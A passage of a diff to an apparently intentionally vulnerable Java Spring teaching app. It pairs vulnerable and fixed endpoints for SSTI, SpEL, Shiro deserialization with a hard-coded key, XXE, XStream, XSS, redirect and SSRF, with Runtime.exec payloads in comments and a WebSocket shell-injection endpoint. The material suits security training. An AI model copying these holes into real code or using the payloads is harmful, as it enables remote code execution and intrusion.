+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url + */ + @GetMapping("/dnsrebind/vuln") + public String DnsRebind(String url) { + java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Dangerous url"; + } + return HttpUtil.get(url); + } + + } diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java new file mode 100644 index 00000000..0c44eb93 --- /dev/null +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -0,0 +1,39 @@ +package org.joychou.controller; + + +import org.apache.velocity.VelocityContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import org.apache.velocity.app.Velocity; + +import java.io.StringWriter; + +@RestController +@RequestMapping("/ssti") +public class SSTI { + + /** + * SSTI of Java velocity. The latest Velocity version still has this problem. + * Fix method: Avoid to use Velocity.evaluate method. + *

+ * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) + * Open a calculator in MacOS. + * + * @param template exp + */ + @GetMapping("/velocity") + public void velocity(String template) { + Velocity.init(); + + VelocityContext context = new VelocityContext(); + + context.put("author", "Elliot A."); + context.put("address", "217 E Broadway"); + context.put("phone", "555-1337"); + + StringWriter swOut = new StringWriter(); + Velocity.evaluate(context, swOut, "test", template); + } +} diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java new file mode 100644 index 00000000..452180b8 --- /dev/null +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -0,0 +1,64 @@ +package org.joychou.controller; + +import org.springframework.expression.Expression; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + + +/** + * SpEL Injection. + * @author JoyChou @2019-01-17 + */ +@RestController +public class SpEL { + + /** + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") + */ + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { + ExpressionParser parser = new SpelExpressionParser(); + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response + } + + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); + } + + public static void main(String[] args) { + ExpressionParser parser = new SpelExpressionParser(); + String expression = "1+1"; + String result = parser.parseExpression(expression).getValue().toString(); + System.out.println(result); + } + +} + diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index ce52477c..2b96322e 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -11,69 +11,83 @@ import javax.servlet.http.HttpServletResponse; import java.io.IOException; +import org.joychou.security.SecurityUtil; + /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: Java url redirect + * The vulnerability code and security code of Java url redirect. + * The security code is checking whitelist of url redirect. + * + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 */ - @Controller @RequestMapping("/urlRedirect") public class URLRedirect { /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com */ @GetMapping("/redirect") public String redirect(@RequestParam("url") String url) { return "redirect:" + url; } + /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com */ @RequestMapping("/setHeader") @ResponseBody - public static void setHeader(HttpServletRequest request, HttpServletResponse response){ + public static void setHeader(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect response.setHeader("Location", url); } + /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com */ @RequestMapping("/sendRedirect") @ResponseBody - public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.sendRedirect(url); // 302 redirect } /** - * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test - * @disc: 安全代码,没有URL重定向漏洞。 + * Safe code. Because it can only jump according to the path, it cannot jump according to other urls. + * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test */ @RequestMapping("/forward") @ResponseBody - public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); - RequestDispatcher rd =request.getRequestDispatcher(url); - try{ + RequestDispatcher rd = request.getRequestDispatcher(url); + try { rd.forward(request, response); - }catch (Exception e) { + } catch (Exception e) { e.printStackTrace(); } } - @RequestMapping("/test") + + /** + * Safe code of sendRedirect. + * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com + */ + @RequestMapping("/sendRedirect/sec") @ResponseBody - public static String test() { - return "test"; + public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) + throws IOException { + String url = request.getParameter("url"); + if (SecurityUtil.checkURL(url) == null) { + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("url forbidden"); + return; + } + response.sendRedirect(url); } } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index a63ae2cf..156cc73d 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,102 +1,171 @@ package org.joychou.controller; -import com.google.common.net.InternetDomainName; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URL; +import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; /** - * date: 2018年08月23日 - * author: JoyChou - * desc: URL白名单绕过 + * The vulnerability code and security code of Java url whitelist. + * The security code is checking url whitelist. + * + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 */ -@Controller +@RestController @RequestMapping("/url") public class URLWhiteList { - private String urlwhitelist = "joychou.com"; + private String domainwhitelist[] = {"joychou.org", "joychou.com"}; + private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class); + /** + * bypass poc: bypassjoychou.org + * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org + */ + @GetMapping("/vuln/endsWith") + public String endsWith(@RequestParam("url") String url) { - // 绕过方法bypassjoychou.com - @RequestMapping("/endswith") - @ResponseBody - public String endsWith(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - System.out.println(url); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); + String host = SecurityUtil.gethost(url); - if (rootDomain.endsWith(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + for (String domain : domainwhitelist) { + if (host.endsWith(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法joychou.com.bypass.com bypassjoychou.com - @RequestMapping("/contains") - @ResponseBody - public String contains(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.contains(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + /** + * It's the same with indexOf. + *

+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com + * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org + */ + @GetMapping("/vuln/contains") + public String contains(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); + + for (String domain : domainwhitelist) { + if (host.contains(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法bypassjoychou.com,代码功能和endsWith一样/ - @RequestMapping("/regex") - @ResponseBody - public String regex(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - Pattern p = Pattern.compile("joychou\\.com"); - Matcher m = p.matcher(rootDomain); + /** + * bypass poc: bypassjoychou.org. It's the same with endsWith. + * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org + */ + @GetMapping("/vuln/regex") + public String regex(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); + Pattern p = Pattern.compile("joychou\\.org$"); + Matcher m = p.matcher(host); + if (m.find()) { - return "URL is legal"; + return "Good url."; } else { - return "URL is illegal"; + return "Bad url."; } } - // 安全代码 - @RequestMapping("/seccode") - @ResponseBody - public String seccode(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); + /** + * The bypass of using {@link java.net.URL} to getHost. + *

+ * bypass 1 + * bypass 2 + * + *

+ * More details + */ + @GetMapping("/vuln/url_bypass") + public void url_bypass(String url, HttpServletResponse res) throws IOException { + + logger.info("url: " + url); + + if (!SecurityUtil.isHttp(url)) { + return; + } + URL u = new URL(url); - // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + String host = u.getHost(); + logger.info("host: " + host); + + // endsWith . + for (String domain : domainwhitelist) { + if (host.endsWith("." + domain)) { + res.sendRedirect(url); + } } - String host = u.getHost().toLowerCase(); - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.equals(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + } + + + /** + * First-level & Multi-level host whitelist. + * http://localhost:8080/url/sec?url=http://aa.joychou.org + */ + @GetMapping("/sec") + public String sec(@RequestParam("url") String url) { + + String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"}; + + if (!SecurityUtil.isHttp(url)) { + return "SecurityUtil is not http or https"; + } + + String host = SecurityUtil.gethost(url); + + for (String whiteHost: whiteDomainlists){ + if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) { + return url; + } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) { + return url; + } } + + return "Bad url."; } + /** + * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org + */ + @GetMapping("/sec/array_indexOf") + public String sec_array_indexOf(@RequestParam("url") String url) { + + // Define muti-level host whitelist. + ArrayList whiteDomainlists = new ArrayList<>(); + whiteDomainlists.add("bbb.joychou.org"); + whiteDomainlists.add("ccc.bbb.joychou.org"); + + if (!SecurityUtil.isHttp(url)) { + return "SecurityUtil is not http or https"; + } + + String host = SecurityUtil.gethost(url); + + if (whiteDomainlists.indexOf(host) != -1) { + return "Good url."; + } + return "Bad url."; + } + } diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java new file mode 100644 index 00000000..6a477ece --- /dev/null +++ b/src/main/java/org/joychou/controller/WebSockets.java @@ -0,0 +1,76 @@ +package org.joychou.controller; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.joychou.config.WebSocketsProxyEndpoint; +import org.joychou.config.WebSocketsCmdEndpoint; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + + +@RestController +public class WebSockets { + + /** + *

动态添加WebSockets实现命令执行

+ *

+ * 1. WebSocket的端口和Spring端口一致。
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。 + *

+ *

+ * http://localhost:8080/websocket/cmd?path=/ws/shell
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell + *

+ *

JoyChou @ 2023年02月20日

+ */ + @RequestMapping("/websocket/cmd") + public String cmdInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + + @RequestMapping("/websocket/proxy") + public String proxyInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + +} diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 4f3bdff5..1c4b8732 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -2,32 +2,73 @@ import org.apache.commons.lang.StringUtils; import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; -import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.02 - * @desc: xss vuls code + * @author JoyChou @2018-01-02 */ - @Controller @RequestMapping("/xss") public class XSS { - @RequestMapping("/print") + + /** + * Vuln Code. + * ReflectXSS + * http://localhost:8080/xss/reflect?xss= + * + * @param xss unescape string + */ + @RequestMapping("/reflect") @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) - { - String con = request.getParameter("con"); - return con; + public static String reflect(String xss) { + return xss; + } - // fix code - // return encode(con); + /** + * Vul Code. + * StoredXSS Step1 + * http://localhost:8080/xss/stored/store?xss= + * + * @param xss unescape string + */ + @RequestMapping("/stored/store") + @ResponseBody + public String store(String xss, HttpServletResponse response) { + Cookie cookie = new Cookie("xss", xss); + response.addCookie(cookie); + return "Set param into cookie"; + } + + /** + * Vul Code. + * StoredXSS Step2 + * http://localhost:8080/xss/stored/show + * + * @param xss unescape string + */ + @RequestMapping("/stored/show") + @ResponseBody + public String show(@CookieValue("xss") String xss) { + return xss; + } + + /** + * safe Code. + * http://localhost:8080/xss/safe + */ + @RequestMapping("/safe") + @ResponseBody + public static String safe(String xss) { + return encode(xss); } - public static String encode(String origin) { + private static String encode(String origin) { origin = StringUtils.replace(origin, "&", "&"); origin = StringUtils.replace(origin, "<", "<"); origin = StringUtils.replace(origin, ">", ">"); diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java new file mode 100644 index 00000000..aa3469bd --- /dev/null +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -0,0 +1,33 @@ +package org.joychou.controller; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + + +@RestController +public class XStreamRce { + + /** + * Fix method: update xstream to 1.4.11 + * Xstream affected version: 1.4.10 or <= 1.4.6 + * Set Content-Type: application/xml + * + * @author JoyChou @2019-07-26 + */ + @PostMapping("/xstream") + public String parseXml(HttpServletRequest request) throws Exception { + String xml = WebUtils.getRequestBody(request); + XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. + xstream.fromXML(xml); + return "xstream"; + } + +} diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 1531ecf4..58e90739 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -1,58 +1,70 @@ package org.joychou.controller; - +import org.dom4j.DocumentHelper; import org.dom4j.io.SAXReader; -import org.springframework.stereotype.*; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.data.web.ProjectedPayload; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; + import javax.servlet.http.HttpServletRequest; + import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.helpers.XMLReaderFactory; import org.xml.sax.XMLReader; + import java.io.*; + import org.xml.sax.InputSource; + import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.SAXParserFactory; import javax.xml.parsers.SAXParser; + import org.xml.sax.helpers.DefaultHandler; import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; - +import org.joychou.util.WebUtils; +import org.xmlbeam.annotation.XBRead; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.22 - * @desc: Java XXE 漏洞代码,修复代码在注释里 + * Java xxe vuln and security code. + * + * @author JoyChou @2017-12-22 */ -@Controller +@RestController @RequestMapping("/xxe") public class XXE { - @RequestMapping(value = "/xmlReader", method = RequestMethod.POST) - @ResponseBody - public String xxe_xmlReader(HttpServletRequest request) { + private static final Logger logger = LoggerFactory.getLogger(XXE.class); + private static final String EXCEPT = "xxe except"; + + @PostMapping("/xmlReader/vuln") + public String xmlReaderVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml - return "ok"; + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml + return "xmlReader xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_xmlReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST) + public String xmlReaderSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // fix code start @@ -60,307 +72,248 @@ public String xxe_xmlReader_fix(HttpServletRequest request) { xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "xmlReader xxe security code"; } - @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXBuilder(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) + public String SAXBuilderVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); // cause xxe - return "ok"; + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); // cause xxe + return "SAXBuilder xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST) + public String SAXBuilderSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXBuilder xxe security code"; } - @RequestMapping(value = "/SAXReader", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXReader(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST) + public String SAXReaderVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); // cause xxe + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); // cause xxe - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXReader xxe vuln code"; } - @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST) + public String SAXReaderSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); - - return "ok"; + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXReader xxe security code"; } - @RequestMapping(value = "/SAXParser", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXParser(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) + public String SAXParserVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml - return "test"; + return "SAXParser xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXParser_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST) + public String SAXParserSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml - return "test"; + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXParser xxe security code"; } - @RequestMapping(value = "/Digester", method = RequestMethod.POST) - @ResponseBody - public String xxe_Digester(HttpServletRequest request) { + @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST) + public String DigesterVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); - digester.parse(new StringReader(xml_con)); // parse xml - - return "test"; + digester.parse(new StringReader(body)); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "Digester xxe vuln code"; } - @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_Digester_fix(HttpServletRequest request) { + @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST) + public String DigesterSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - digester.parse(new StringReader(xml_con)); // parse xml + digester.parse(new StringReader(body)); // parse xml - return "test"; + return "Digester xxe security code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - // 有回显的XXE - @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST) - @ResponseBody - public String xxeDocumentBuilderReturn(HttpServletRequest request) { + /** + * Use request.getInputStream to support UTF16 encoding. + */ + @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) + public String DocumentBuilderVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); - InputSource is = new InputSource(sr); + InputSource is = new InputSource(request.getInputStream()); Document document = db.parse(is); // parse xml // 遍历xml节点name和value - StringBuffer buf = new StringBuffer(); + StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); - buf.append( node.getNodeName() + ": " + node.getTextContent() + "\n" ); + buf.append(String.format("%s: %s\n", 